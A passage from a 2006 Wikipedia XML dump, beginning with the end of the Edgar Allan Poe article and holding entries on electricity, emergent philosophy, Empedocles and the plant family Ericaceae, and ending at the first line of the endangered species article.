*[http://librivox.org LibriVox] - Free audio recordings of [http://librivox.org/the-raven-by-edgar-allan-poe/ &quot;The Raven&quot;], &quot;The Black Cat&quot; ([http://librivox.org/short-story-collection-001/ version 1] [http://librivox.org/short-story-collection-002/ version 2]), [http://librivox.org/short-story-collection-001/ &quot;The Tell-Tale Heart&quot;], [http://librivox.org/short-story-collection-002/ &quot;The Cask of Amontillado&quot;], and others. 
* [http://64.57.86.186/edgarsDB/edgarDB.php Edgar Allan Poe Awards Database] at the Mystery Writers of America web site	 
* [http://www.eapoe.org/ The Edgar Allan Poe Society of Baltimore] - Poe's complete works and a wealth of biographical and critical material, including [http://www.eapoe.org/geninfo/poedeath.htm a review of the known facts about Poe's death] 
* [http://www.poedecoder.com The Poe Decoder]: An extremely useful site relating to some of the works of Edgar Allan Poe	 
* [http://www.wiredforbooks.org/kensilverman/ 1992 audio interview of Ken Silverman, biographer of Edgar Allan Poe. Interview by Don Swaim of CBS Radio - RealAudio]	 
* [http://www.bokler.com/eapoe_challengesolution.html Cipher Solved, but mystery remains]
* [http://www.bealepapers.com/ The last Haunting of Edgar Allen Poe]
*[http://wiredforbooks.org/edgarallanpoe/usher.ram Listen to a reading of Poe's &quot;The Fall of the House of Usher&quot; - RealAudio]
*[http://wiredforbooks.org/edgarallanpoe/thetell.ram Listen to a reading of Poe's &quot;The Tell-Tale Heart&quot; - RealAudio]
*[http://www.lurkerfilms.com/catalog/product_info.php?cPath=28&amp;products_id=58&amp;osCsid=a32f09a6a0aeb5e18c1335136fe51fc9 Information about the Edgar Allan Poe Collection DVD released by Lurker Films]

[[Category:1809 births|Poe, Edgar Allan]]
[[Category:1849 deaths|Poe, Edgar Allan]]
[[Category:American poets|Poe, Edgar Allan]]
[[Category:Autodidacts|Poe, Edgar Allan]]
[[Category:Bostonians|Poe, Edgar Allan]]
[[Category:Burials at Westminster Hall and Burying Ground|Poe, Edgar Allan]]
[[Category:Edgar Allan Poe|*]]
[[Category:Massachusetts writers|Poe, Edgar Allan]]
[[Category:Non-graduate alumni of West Point|Poe, Edgar Allan]]

[[Category:People from Baltimore|Poe, Edgar Allan]]
[[Category:People from Virginia|Poe, Edgar Allan]]
[[Category:Romanticism|Poe, Edgar Allan]]
[[Category:Science fiction writers|Poe, Edgar Allan]]
[[Category:Scottish-Americans|Poe, Edgar Allan]]
[[Category:University of Virginia|Poe, Edgar Allan]]

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  </page>
  <page>
    <title>Electricity</title>
    <id>9550</id>
    <revision>
      <id>42077222</id>
      <timestamp>2006-03-03T17:45:25Z</timestamp>
      <contributor>
        <ip>161.210.251.100</ip>
      </contributor>
      <comment>/* Electric power */</comment>
      <text xml:space="preserve">''For songs called ''Electricity'', see [[Electricity (song title)]]. 

[[Image:Lightning.jpg|300px|thumb|right|[[Lightning]] strikes during a night-time thunderstorm.  [[Energy]] is radiated as [[light]] as the [[Earth's atmosphere|air]] of [[Earth's atmosphere]] is shifted from [[gas]] to [[Plasma (physics)|plasma]] and back.]]

'''Electricity''' is a property of energy that results from the presence or movement of [[electric charge]]. Together with [[magnetism]], it constitutes the [[fundamental interaction]] known as [[electromagnetism]]. Electricity is responsible for many well-known [[physics|physical]] phenomena such as [[lightning]], [[electric field]]s and [[electric current]]s, and is put to use in industrial applications such as [[electronics]] and [[electric power]]. 

==Concepts in electricity==
In casual usage, the term ''electricity'' is applied to several related concepts that are better identified by more precise terms. 
*[[Electric charge]]: a fundamental conserved property of some [[subatomic particle]]s, which determines their [[electromagnetic interaction]]s. Electrically charged matter is influenced by, and produces, [[electromagnetic field]]s.
*[[Electric field]] is an effect produced by an electric charge that exerts a force on charged objects in its vicinity.
*[[Electric potential]]: the potential energy per unit charge associated with a static (time-invariant) electric field.
*[[Current (electricity)|Electric current]]: a movement or flow of electrically charged particles. 
*[[Electrical energy]]: energy made available by the flow of electric charge through a conductor or  from the forces between charged particles.
*[[Electric power]]: The rate at which electric energy is converted into another form, such as light, heat, or mechanical energy (or converted from another form into electric energy).

== History ==
===Ancient===
According to [[Thales|Thales of Miletus]], writing [[600 BC]], a form of electricity was known to the [[Ancient Greece|Ancient Greeks]] who found that rubbing [[fur]] on various substances, such as [[amber]], would cause a particular [[attraction]] between the two. The Greeks noted that the amber buttons could attract light objects such as [[hair]] and that if they rubbed the amber for long enough they could even get a [[spark]] to jump.

An object found in Iraq in [[1938]], dated to about [[250 BC]] and called the [[Baghdad Battery]], resembles a [[galvanic cell]] and is believed by some to have been used for [[electroplating]].

There has been speculation that an object shown in carved reliefs at the temple of [[Dendera]] was an electrical device - the so-called [[Dendera light]] - although there is no archaeological evidence to support this.

===Modern===
In [[1600]] the English scientist [[William Gilbert]] returned to the subject in ''De Magnete'', and coined the [[modern Latin]] word ''electricus'' from ''&amp;eta;&amp;lambda;&amp;epsilon;&amp;kappa;&amp;tau;&amp;rho;&amp;omicron;&amp;nu;'' (''elektron''), the Greek word for &quot;amber&quot;, which soon gave rise to the English words ''electric'' and ''electricity''.  He was followed in [[1660]] by [[Otto von Guericke]], who is regarded as having invented an early [[electrostatic]] generator.  Other European pioneers were [[Robert Boyle]], who in [[1675]] stated that electric attraction and repulsion can act across a vacuum; [[Stephen Gray (scientist)|Stephen Gray]], who in [[1729]] classified materials as [[conductor (material)|conductor]]s and [[insulator]]s; and [[C. F. Du Fay]], who first identified the two types of electricity that would later be called ''positive'' and ''negative''.

[[Image:Leidse_flessen_Museum_Boerhave_december_2003.jpg|thumb|left|222px|Leyden jars, Museum Boerhaave, Leiden [http://www.museumboerhaave.nl/].]]
The [[Leyden jar]], a type of [[capacitor]] for electrical energy in large quantities, was invented at [[Leiden University]] by [[Pieter van Musschenbroek]] in [[1745]].  [[William Watson (scientist)|William Watson]], experimenting with the Leyden jar, discovered in [[1747]] that a discharge of static electricity was equivalent to an [[electric current]].

In June, [[1752]], [[Benjamin Franklin]] promoted his investigations of electricity and theories through the famous, though extremely dangerous, [[experiment]] of flying a [[Kite flying|kite]] during a [[thunderstorm]]. Following these experiments he invented a [[lightning rod]] and established the link between [[lightning]] and electricity. If Franklin did fly a kite in a storm, he did not do it the way it is often described (as it would have been dramatic but fatal). It was either Franklin (more frequently) or [[Ebenezer Kinnersley]] of [[Philadelphia]] (less frequently) who created the convention of positive and negative electricity.

Franklin's observations aided later scientists such as [[Michael Faraday]], [[Luigi Galvani]], [[Alessandro Volta]], [[Andre Marie Ampere|André-Marie Ampère]], and [[Georg Ohm|Georg Simon Ohm]] whose work provided the basis for modern electrical technology.  The work of Faraday, Volta, Ampere, and Ohm is honored by society, in that fundamental units of electrical measurement are named after them.  

Volta worked with [[chemicals]] and discovered that chemical reactions could be used to create positively charged [[anode]]s and negatively charged [[cathode]]s. When a conductor was attached between these, the [[voltage|difference in the electrical potential]] (also known as voltage) drives a [[current (electricity)|current]] between them through the conductor. The [[potential difference]] between two points is measured in units of [[volt]]s in recognition of Volta's work. 
[[Image:Thomas Edison.jpg|right|thumb|200px|Thomas Alva Edison]]
The invention of the [[electric telegraph]] showed that commercial and practical use could be made of electrical phenomena. By the end of the 19th century [[electrical engineering]] became a distinct profession, separate from the physicist or inventor. The late 19th and early 20th century produced such giants of electrical engineering as [[Nikola Tesla]], inventor of the polyphase [[induction motor]];  [[Samuel Morse]], inventor of the telegraph; [[Antonio Meucci]], an inventor of the telephone; [[Thomas Edison]] inventor of the [[phonograph]]; [[George Westinghouse]], inventor of the electric [[locomotive]]; [[Charles Steinmetz]], theoretician of alternating current; [[Alexander Graham Bell]], another inventor of the telephone and founder of a successful telephone business. 

The rapid advance of electrical technology in the latter 19th and early 20th centuries led to commercial rivalries, such as the so-called  [[War of Currents|War of the Currents]], between Edison's direct-current system and Westinghouse's alternating-current method. Often, concurrent research in widely scattered locations lead to multiple claims to the invention of a device or system.

== Electric charge ==
{{main|Electric charge}}
Electric charge is a property of certain [[subatomic particle]]s (e.g., [[electron]]s and [[proton]]s) which interacts with [[electromagnetic fields]] and causes attractive and repulsive [[force]]s between them.  
Electric charge gives rise to one of the four [[fundamental force]]s of nature, and is a conserved property of [[matter]] that can be quantified.  In this sense, the phrase &quot;[[quantity of electricity]]&quot; is used interchangeably with the phrases &quot;[[electric charge|charge of electricity]]&quot; and &quot;quantity of charge.&quot; There are two types  of charge: we call one kind of charge positive and the other negative. Through experimentation, we find that like-charged objects repel and opposite-charged objects attract one another.  The magnitude of the force of attraction or repulsion is given by [[Coulomb's law]].

== Electric field ==
{{main|Electric field}}
[[Image:Faraday.jpg|thumb|left|150px|Michael Faraday]]
The concept of electric field was introduced by [[Michael Faraday]]. The electrical field force acts between two charges, in the same way that the [[gravitational field]] force acts between two [[mass]]es. However, electric field  is a little bit different. Gravitational force depends on the masses of two bodies, whereas electric force depends on the electric charges of two bodies. While gravity can only pull two masses together, the electric force can be an attractive ''or'' repulsive force. The criteria for the direction of the forces between two charged bodies are generally proposed as follows:

# Both charges are of same sign (e.g. both charges are positive), in which case there will be a repulsive force between the two. 
# The charges are opposite, in which case there will be an attractive force between the two bodies.
# The magnitude of the force varies inversely with the square of the distance between the two bodies, and is also directly proportional to the product of the unsigned magnitudes of the two charges.

== Electric potential ==
{{Main|Electric potential}} 
The electric potential difference between two [[point]]s is defined as the [[work]] done per unit charge (against electrical forces) in moving a positive [[point charge]] slowly between two points. If one of the points is taken to be a [[reference point]] with zero potential, then the electric potential at any point can be defined in terms of the work done per unit charge in moving a positive point charge from that reference point to the point at which the potential is to be determined. For isolated charges, the reference point is usually taken to be [[infinity]]. The potential is measured in volts. (1 volt = 1 joule/coulomb) The electric potential is analogous to [[temperature]]: there is a different temperature at every point in space, and the [[temperature gradient]]s indicate the direction of heat flows. Similarly, there is an electric potential at every point in space, and its [[gradient]] in the electric field indicates where charges move.

== Electric current ==
{{Main|Current (electricity)}}

An [[electric current]] is a flow of [[electric charge]], and its intensity is measured in [[ampere]]s. Examples of electric currents include metallic conduction, where [[electron]]s flow through a [[conductor (material)|conductor]] such as a metal [[wire]], and [[electrolysis]], where [[ion]]s (charged [[atom]]s) flow through liquids. The particles themselves often move quite slowly, while the [[electric field]] that drives them propagates at close to the [[speed of light]]. See ''[[electrical conduction]]'' for more information.

Devices that use charge flow principles in materials are called [[electronics|electronic devices]]. 

A [[direct current]] (DC) is a unidirectional flow, while an [[alternating current]] (AC) reverses direction repeatedly. The time average of an alternating current is zero, but its energy capability ([[root mean square|RMS]] value) is not zero.  

[[Ohm's Law]] is an important relationship describing the behaviour of electric currents, relating them to [[voltage]].

For historical reasons, electric [[Current (electricity)|current]] is said to flow from the most positive part of a circuit to the most negative part.  The electric current thus defined is called ''[[conventional current]]''.  It is now known that, depending on the conditions, an electric current can consist of a flow of charged particles in either direction, or even in both directions at once.  The positive-to-negative convention is widely used to simplify this situation.  If another definition is used - for example, &quot;electron current&quot; - it should be explicitly stated.

== Electrical energy ==
{{main|Electrical energy}}
Electrical energy is energy stored in an [[electric field]] or transported by an [[electric current]]. Energy is defined as the ability to do [[work (physics)|work]], and electrical energy is simply one of the many types of energy. Examples of electrical energy include:

* the energy that is constantly stored in the Earth's [[atmosphere]], and is partly released during a [[thunderstorm]] in the form of [[lightning]]
* the energy that is stored in the coils of an [[electrical generator]] in a [[power station]], and is then transmitted by wires to the consumer; the consumer then pays for each unit of energy he receives
* the energy that is stored in a [[capacitor]], and can be released to drive a current through an [[electrical circuit]]

== Electric power ==
{{main|Electric power}}
Electric power is the rate at which electrical energy is produced or consumed, and is measured in [[watt]]s (symbol: W). 
[[Image:Nuclear Power Plant.jpg|thumb|250px|left|A nuclear power station.]]
A [[fossil fuel|fossil-fuel]] or [[nuclear power|nuclear]] [[power station]] converts heat to electrical energy, and the faster the station burns fuel, assuming constant efficiency of conversion, the higher its power output. The output of a power station is usually specified in megawatts (millions of watts). The electrical energy is then sent over [[transmission line]]s to reach the consumers. 

Each consumer uses appliances that convert the electrical energy to other forms of energy, such as [[heat]] (in [[electric arc furnace]]s and [[electric heater]]s), [[light]] (in [[light bulb]]s and [[fluorescent lamp]]s), or motion, i.e. [[kinetic energy]] (in [[electric motor]]s). Like the power station, each appliance is also rated in watts, depending on the rate at which it converts electrical energy into another form. The power station must produce electrical energy at the same rate as all the connected appliances consume it.

In electrical engineering, the concepts of [[apparent power]] and [[reactive power]] are also used. Apparent power is the product of RMS voltage and RMS current, and is measured in volt-amperes (VA). [[Reactive power]] is measured in volt-amperes-reactive (VAR).

{{clear}}

== SI electricity units ==
{{SI_electromagnetism_units}}

== See also ==
* [[Electromagnetism]]
* [[Electrical engineering]]
* [[Electrical phenomena]] 
* [[Electrostatics]]
===Devices===
* [[Battery (electricity)|Battery]] 
* [[Conductor (material)|Conductor]] 
* [[Insulator]]

===Engineering===
* [[Green electricity]] 
* [[Electrical wiring]]

===Safety===
* [[Electric shock]]
* [[Electrical injuries]]
* [[High voltage|High-voltage hazards]]

=== Electrical phenomena in nature ===
* [[Matter]]: &amp;mdash; since [[atom]]s and [[molecule]]s are held together by electric forces.
* [[Lightning]]: electrical discharges in the atmosphere.
* The [[Earth's magnetic field]] &amp;mdash; created by electric currents circulating in the planet's core.
* Sometimes due to [[solar flare]]s, a phenomenon known as a [[power surge]] can be created.
*[[Piezoelectricity]]: the ability of certain crystals to generate a voltage in response to applied mechanical stress.
*[[triboelectric effect|Triboelectricity]]: electric charge taken on by contact or friction between two different materials.
* [[Bioelectromagnetism]]: electrical phenomena within living organisms.
** [[Bioelectricity]] &amp;mdash; Many animals are sensitive to electric fields, some (e.g., [[shark]]s) more than others (e.g., people). Most also generate their own electric fields.
*** [[Gymnotiformes]], such as the [[electric eel]], deliberately generate strong fields to detect or stun their prey.
*** [[Neuron]]s in the [[nervous system]] transmit information by electrical impulses known as [[action potential]]s.

== External links == 
* [http://amasci.com/miscon/whatis.html  What is electricity?]
* [http://www.m-w.com/cgi-bin/dictionary?book=Dictionary&amp;va=electricity Merriam-Webster: Electricity]
* [http://www.bibliomania.com/2/9/72/119/21387/1.html Tyndall: Faraday as Discovery: Identity of Electricities]
* [http://www.eia.doe.gov/fuelelectric.html US Energy Department Statistics]
* [http://www.mouthshut.com/readreview/38842-1.html How to save on your electricity bills]
* [http://users.pandora.be/worldstandards/electricity.htm Electricity around the world]
* [http://www.tufts.edu/as/wright_center/fellows/bob_morse_04/ A Comprehensive Collection of Franklin’s Electrical Works: The Electrical Writings of Benjamin Franklin], Created and Collected by Robert A. Morse (2004) 
* [http://www.telesensoryview.com/steverosecom/Articles/UnderstandingBasicElectri.html Understanding Electricity and some Electronics in 10 minutes](Steve Rose, Maui)
* [http://amasci.com/miscon/eleca.html Electricity Misconceptions]

[[Category:Electricity|*]]

[[ar:كهرباء]]
[[bg:Електричество]]
[[be:Электрычнасць]]
[[bn:বিদ্যুত্‌]]
[[br:Tredan]]
[[ca:Electricitat]]
[[cs:Elektřina]]
[[da:Elektricitet]]
[[de:Elektrizität]]
[[et:Elekter]]
[[es:Electricidad]]
[[eo:Elektro]]
[[fa:الکتریسیته]]
[[fr:Électricité]]
[[gl:Electricidade]]
[[ko:전기]]
[[io:Elektro]]
[[id:Listrik]]
[[he:חשמל]]
[[kw:Tredan]]
[[ku:Elektrîk]]
[[lt:Elektra]]
[[li:Elektriciteit]]
[[nl:Elektriciteit]]
[[ja:電気]]
[[no:Elektrisitet]]
[[pl:Elektryczność]]
[[pt:Electricidade]]
[[ru:Электричество]]
[[simple:Electricity]]
[[sl:Elektrika]]
[[fi:Sähkö]]
[[sv:Elektricitet]]
[[tr:Elektrik]]
[[zh:電]]</text>
    </revision>
  </page>
  <page>
    <title>Emergent philosophy</title>
    <id>9551</id>
    <revision>
      <id>33945909</id>
      <timestamp>2006-01-05T07:05:51Z</timestamp>
      <contributor>
        <username>DavidCary</username>
        <id>39203</id>
      </contributor>
      <comment>+[[Protoscience]]</comment>
      <text xml:space="preserve">'''Emergent philosophies''' are those newly formed [[philosophies]] which are at, or are on the cusp of serious recognition as philosophical schools and theories. This implies a temporal criterion; for example, at the point in time which [[Jean-Paul Sartre]] and [[Albert Camus]] were sitting down to formulate and expound their philosophies, French [[existentialism]] could have been conceived of as being an emergent philosophy; it now, of course, is no such thing, it is recognised as a particular branch of existentialism. Since currently the preponderance of the emergent philosophies are or appear to be inspired by or related to developments in technology, we have elected to deal with them within this ambit rather than in the realm of pure philosophy.

Since history will decide whether a school of thought comes to be recognized as a serious field of philosophy, or whether it is forgotten, it is obviously possible to apply this label only retrospectively: we may say of an accepted school of philosophy ''when'' it was merely emergent.  For example:

[[German idealism]] was an emergent school of philosophy between [[1781]] (with the publication of [[Kant]]'s [[Critique of Pure Reason]]) and, probably, [[1807]] (with the publication of [[Hegel]]'s [[Phenomenology of Spirit]]).

Existentialism, as mentioned above, was emergent in the [[1930s]].

Only history will be able to tell what today's emergent philosophies are.

Proponents of the following philosophies claim the philosophies are emergent philosophies:

* [[Objectivist philosophy|Objectivism]]
* [[Pancritical rationalism]]
* [[Posthumanism]]
* [[Transhumanism]], and movements within transhumanism:
** [[Democratic transhumanism]]
** [[Extropianism]]

== See also ==
* [[Protoscience]]

[[Category:History of philosophy]]</text>
    </revision>
  </page>
  <page>
    <title>Empedocles</title>
    <id>9553</id>
    <revision>
      <id>41555103</id>
      <timestamp>2006-02-28T03:04:31Z</timestamp>
      <contributor>
        <username>Commodore Sloat</username>
        <id>67060</id>
      </contributor>
      <comment>rv unexplained deletion; this may be poorly worded but I don't believe it is incorrect</comment>
      <text xml:space="preserve">[[Image:Empedokles.jpeg|right|thumb|225px|Empedocles of Agrigentum]]
'''Empedocles''' (circa [[490 BCE|490]] [[Common era|BCE]] &amp;ndash; c. [[430 BCE]]) was a [[Hellenic civilization|Greek]] [[presocratic]] [[philosopher]] and a citizen of [[Agrigentum]], a Greek colony in [[Sicily]].  Empedocles' philosophy is best known for being the origin of the [[cosmogenesis|cosmogenic]] theory of the four [[classical elements]].  Little of the verse that Empedocles wrote survives today, and, as with many of the presocratics, much of what is known about his philosophy comes from commentary upon it by later thinkers.  Empedocles' death has been the subject of both legend and a number of literary treatments.

==Philosophy==
Empedocles maintained that all [[matter]] is made up of four Elements (which he called ''roots):'' [[water (classical element)|water]], [[earth (classical element)|earth]], [[air (classical element)|air]] and [[fire (classical element)|fire]]. In addition to these, he postulated something called [[Love]] ''(philia)'' to explain the attraction of different forms of matter, and of something called Strife ''(neikos)'' to account for their separation.  He was also one of the first people to state the theory that [[light]] travels at a finite (although very large) speed, a theory that gained acceptance only much later.

Though having much in common with [[Heraclitus]]' [[ontology]], Empedocles is considered to be more tolerant and soft in his outlook.  [[Plato]], in the famous &quot;Sophist&quot; [[dialogue]], described Empedocles as a &quot;gentle muse&quot;: 

:''Then there are Ionian, and in more recent times Sicilian muses, who have arrived at the conclusion that to unite the two principles is safer, and to say that being is one and many, and that these are held together by enmity and friendship, ever parting, ever meeting, as the-severer Muses assert, while the gentler ones do not insist on the perpetual strife and peace, but admit a relaxation and alternation of them; peace and unity sometimes prevailing under the sway of Aphrodite, and then again plurality and war, by reason of a principle of strife.'' ([[Plato]], ''Soph.'').

Empedocles was also a mystic and a poet, and some consider him the inventor of the study of [[rhetoric]]{{fact}}.  [[Gorgias]] of Leontini was his student, and it is probably from Empedocles that Gorgias developed the notion of rhetoric as magic{{fact}}.

As a person he was somewhat arrogant, dressing himself in purple and claiming that by the virtue of the knowledge he possessed he had become divine and could perform miracles{{fact}}. Yet his actions and teaching betrayed an [[egalitarian]] streak, he fought to preserve Greek [[democracy]] and allowed that through his teaching others could also become divine{{fact}}. He even went so far to suggest that all living things were on the same spiritual plane,  indicating he was influenced by [[Pythagoras|Pythagorean]] spirituality{{fact}}. Like Pythagoras, he believed in the [[reincarnation|transmigration of souls]] between humans and animals and followed a [[vegetarian]] lifestyle.

Empedocles is considered the last Greek philosopher to write in verse and the surviving fragments of his teaching are from his two poems, ''Purifications'' and ''On Nature''.  

==Death and literary treatments==
Empedocles' life was recorded by [[Diogenes Laertius]].  The legend goes that he died by throwing himself into an active volcano ([[Mount Etna]] in Sicily), so that people would believe his body had vanished and he had turned into an immortal god; however, the volcano threw back one of his bronze sandals, revealing the deceit. There is, however, some evidence that he actually died in Greece{{fact}}.

In ''Icaro-Menippus'', a comedic dialogue written by the second century satirist [[Lucian of Samosata]], Empedocles’ final fate is re-evaluated. Rather than being incinerated in the fires of Mount Etna, he was carried up into the heavens by a volcanic eruption. Although a bit singed by the ordeal, Empedocles survives and continues his life on the moon, surviving by feeding on dew.

Empedocles' death has inspired two major modern literary treatments.  Empedocles' death is the subject of [[Friedrich Hölderlin]]'s play ''Tod des Empedokles'' (''Death of Empedocles''), two versions of which were written between the years 1798 and 1800.  A third version was made public in 1826.  In [[Matthew Arnold]]'s poem ''Empedocles on Etna'', a narrative of the philosopher's last hours before he jumps to his death in the crater first published in 1852, Empedocles predicts: 

:To the elements it came from
:Everything will return.
:Our bodies to earth,
:Our blood to water,
:Heat to fire,
:Breath to air.

==Further reading==

* M R Wright, ''Empedocles: The Extant Fragments'', 1995 
* Peter Kingsley, ''Ancient Philosophy, Mystery and Magic: Empedocles and Pythagorean Tradition'', 1986  
* Anthony Gottlieb, ''The Dream of Reason: A History of Philosophy from the Greeks to the Renaissance '', 2001
* Kirk, Raven, and Schofield, ''The Presocratic Philosophers'', 1983
* A. A. Long, ''The Cambridge Companion to Early Greek Philosophy'', 1999
* Bertrand Russell, ''The History of Western Philosophy'', 1945

==External links==
{{wikisource|Empedocles on Etna}}
*[http://www.philosophypages.com/dy/e5.htm#empe Empedocles at Philosophical Dictionary]
*[http://history.hanover.edu/texts/presoc/emp.htm Empedocles Fragments and Commentary]
*[http://www.iep.utm.edu/e/empedocl.htm Empedocles (of Acragas) at Internet Encyclopedia of Philosophy]
* [http://plato.stanford.edu/entries/empedocles/ Stanford Encyclopedia of Philosophy entry]
*[http://www.classicpersuasion.org/pw/empedocles/ Empedocles of Agrigentum at Peith&amp;ocirc;'s Web]

{{Presocratics}}

[[Category:490 BC births]]
[[Category:430 BC deaths]]
[[Category:Presocratic philosophers]]
[[Category:Sicilian Greeks]]

[[bg:Емпедокъл]]
[[bn:এমপেডোক্লিস]]
[[bs:Empedoklo]]
[[ca:Empèdocles]]
[[cs:Empedoklés]]
[[da:Empedokles]]
[[de:Empedokles]]
[[el:Εμπεδοκλής]]
[[eo:Empedoklo]]
[[es:Empédocles]]
[[et:Empedokles]]
[[eu:Empedokles]]
[[fa:امپدوکل]]
[[fi:Empedokles]]
[[fr:Empédocle d'Agrigente]]
[[gl:Empédocles]]
[[he:אמפדוקלס]]
[[hr:Empedoklo]]
[[hu:Empedoklész]]
[[id:Empedokles]]
[[it:Empedocle]]
[[ja:&amp;#12456;&amp;#12531;&amp;#12506;&amp;#12489;&amp;#12463;&amp;#12524;&amp;#12473;]]
[[la:Empedocles]]
[[nl:Empedocles]]
[[nn:Empedokles]]
[[no:Empedokles]]
[[pl:Empedokles]]
[[pt:Empédocles]]
[[ro:Empedocles]]
[[ru:Эмпедокл из Агригента]]
[[scn:Empedocli]]
[[sk:Empedokles]]
[[sl:Empedoklej]]
[[sv:Empedokles]]
[[tr:Empedokles]]</text>
    </revision>
  </page>
  <page>
    <title>Estrus</title>
    <id>9554</id>
    <revision>
      <id>15907432</id>
      <timestamp>2005-06-27T02:54:12Z</timestamp>
      <contributor>
        <username>Icarus3</username>
        <id>282222</id>
      </contributor>
      <comment>Merged with &quot;Estrus Cycle&quot;</comment>
      <text xml:space="preserve">#redirect [[estrus cycle]]</text>
    </revision>
  </page>
  <page>
    <title>Ericaceae</title>
    <id>9555</id>
    <revision>
      <id>37289957</id>
      <timestamp>2006-01-30T01:13:18Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Ericaceae
| image = Erica arborea.JPG
| image_width = 250px
| image_caption = ''[[Tree heath|Erica arborea]]''
| regnum = [[Plantae]]
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Ericales]]
| familia = '''Ericaceae'''
| familia_authority = [[Antoine Laurent de Jussieu|Juss.]]
| subdivision_ranks = Genera
| subdivision = 
See text.
}}

The [[plant]] [[family (biology)|family]] '''Ericaceae''' (also called the ''heath family'' or ''ericaceous plants'') are mostly [[calcium oxide|lime]]-hating or [[calcifuge]] plants that thrive in [[acid]] [[soil]]s. The family Ericaceae includes numerous plants from mostly temperate climates: [[cranberry]], [[blueberry]], [[heath]], [[Calluna vulgaris|heather]], [[huckleberry]], [[azalea]] and [[rhododendron]] are well-known examples.

Recent genetic research by the [[Angiosperm Phylogeny Group]] has resulted in the inclusion of the formerly recognised families Empetraceae, Epacridaceae, [[Monotropaceae]], Prionotaceae and [[Pyrolaceae]] into Ericaceae.

== Genera ==
{|
|- valign=top
|
*''[[Acrostemon]]''
*''[[Acrotriche]]''
*''[[Agapetes]]''
*''[[Agarista]]''
*''[[Allotropa]]''
*''[[Andersonia]]''
*''[[Bog-rosemary|Andromeda]]''
*''[[Anomalanthus]]''
*''[[Anthopteropsis]]''
*''[[Anthopterus]]''
*''[[Arachnocalyx]]''
*''[[Arbutus]]''
*''[[Arctostaphylos]]''
*''[[Astroloma]]''
*''[[Bejaria]]''
*''[[Brachyloma]]''
*''[[Bruckenthalia]]''
*''[[Bryanthus]]''
*''[[Calluna]]''
*''[[Calopteryx]]''
*''[[Cassiope]]''
*''[[Cavendishia]]''
*''[[Ceratiola]]''
*''[[Ceratostema]]''
*''[[Chamaedaphne]]''
*''[[Chimaphila]]''
*''[[Coccosperma]]''
*''[[Coilostigma]]''
*''[[Comarostaphylis]]''
*''[[Conostephium]]''
*''[[Corema]]''
*''[[Costera]]''
|
*''[[Craibiodendron]]''
*''[[Cyathodes]]''
*''[[Daboecia]]''
*''[[Demosthenesia]]''
*''[[Didonica]]''
*''[[Dimorphanthera]]''
*''[[Diogenesia]]''
*''[[Diplarche]]''
*''[[Diplycosia]]''
*''[[Disterigma]]''
*''[[Dracophyllum]]''
*''[[Crowberry|Empetrum]]''
*''[[Epacris]]''
*''[[Epigaea]]''
*''[[Eremia]]''
*''[[Eremiella]]''
*''[[Erica]]''
*''[[Findlaya]]''
*''[[Gaultheria]]''
*''[[Gaylussacia]]''
*''[[Gonocalyx]]''
*''[[Grisebachia]]''
*''[[Harrimanella]]''
*''[[Hemitomes]]''
*''[[Kalmia]]''
*''[[Kalmiopsis]]''
*''[[Killipiella]]''
*''[[Lateropora]]''
*''[[Ledothamnus]]''
*''[[Ledum]]''
*''[[Leiophyllum]]''
*''[[Leucopogon]]''
|
*''[[Leucothoe (plant)|Leucothoe]]''
*''[[Loiseleuria]]''
*''[[Lyonia]]''
*''[[Macleana]]''
*''[[Macnabia]]''
*''[[Malea (genus)|Malea]]''
*''[[Menziesia]]''
*''[[Mitrastylus]]''
*''[[Moneses]]''
*''[[Monotropa]]''
*''[[Monotropsis]]''
*''[[Mycerinus]]''
*''[[Nagelocarpus]]''
*''[[Notopora]]''
*''[[Oreanthes]]''
*''[[Ornithostaphylos]]''
*''[[Orthaea]]''
*''[[Orthilia]]''
*''[[Sourwood|Oxydendrum]]''
*''[[Pellegrinia]]''
*''[[Pentachondra]]''
*''[[Pernettyopsis]]''
*''[[Phyllodoce]]''
*''[[Pieris (plant)|Pieris]]''
*''[[Pityopus]]''
*''[[Platycalyx]]''
*''[[Pleuricospora]]''
*''[[Plutarchia]]''
*''[[Polyclita]]''
*''[[Prionotes]]''
*''[[Psammisia]]''
*''[[Pinedrops|Pterospora]]''
|
*''[[Pyrola]]''
*''[[Rhododendron]]''
*''[[Rhodothamnus]]''
*''[[Richea]]''
*''[[Rusbya]]''
*''[[Salaxis]]''
*''[[Sarcodes]]''
*''[[Satyria]]''
*''[[Scyphogyne]]''
*''[[Semiramisia]]''
*''[[Simocheilus]]''
*''[[Siphonandra]]''
*''[[Sphyrospermum]]''
*''[[Stokoeanthus]]''
*''[[Styphelia]]''
*''[[Sympieza]]''
*''[[Syndsmanthus]]''
*''[[Tepuia]]''
*''[[Thamnus]]''
*''[[Themistoclesia]]''
*''[[Therorhodion]]''
*''[[Thibaudia]]''
*''[[Thoracosperma]]''
*''[[Trochocarpa]]''
*''[[Tsusiophyllum]]''
*''[[Utleya]]''
*''[[Vaccinium]]''
*''[[Xylococcus]]''
*''[[Zenobia (plant)|Zenobia]]''
|}

== External Reference ==
* [http://delta-intkey.com/angio/www/ericacea.htm Ericaceae] in [http://delta-intkey.com/angio/ L. Watson and M.J. Dallwitz (1992 onwards). The families of flowering plants.]

[[Category:Plant families]]
[[Category:Ericales]]
[[Category:Ericaceae|*]]

[[da:Lyng-familien]]
[[de:Heidekrautgewächse]]
[[es:Ericaceae]]
[[eo:Erikacoj]]
[[fr:Ericaceae]]
[[ko:진달랫과]]
[[it:Ericaceae]]
[[la:Ericaceae]]
[[lt:Erikiniai augalai]]
[[nl:Heifamilie]]
[[ja:ツツジ科]]
[[no:Lyngfamilien]]
[[pl:Wrzosowate]]
[[ru:Вересковые]]
[[fi:Kanervakasvit]]
[[sv:Ljungväxter]]
[[zh:杜鹃花科]]</text>
    </revision>
  </page>
  <page>
    <title>Endangered species</title>
    <id>9556</id>
    <revision>
      <id>42104345</id>
      <timestamp>2006-03-03T21:27:54Z</timestamp>
      <contributor>
        <username>NickelShoe</username>
        <id>418205</id>
      </contributor>
      <comment>Is that better? It's not the indiv organism, it's the group, right?</comment>
      <text xml:space="preserve">:''For other uses, see [[endangered species (disambiguation)]].''

[[Image:sea otter.jpg|thumb|right|310px|The endangered Sea Otter]]

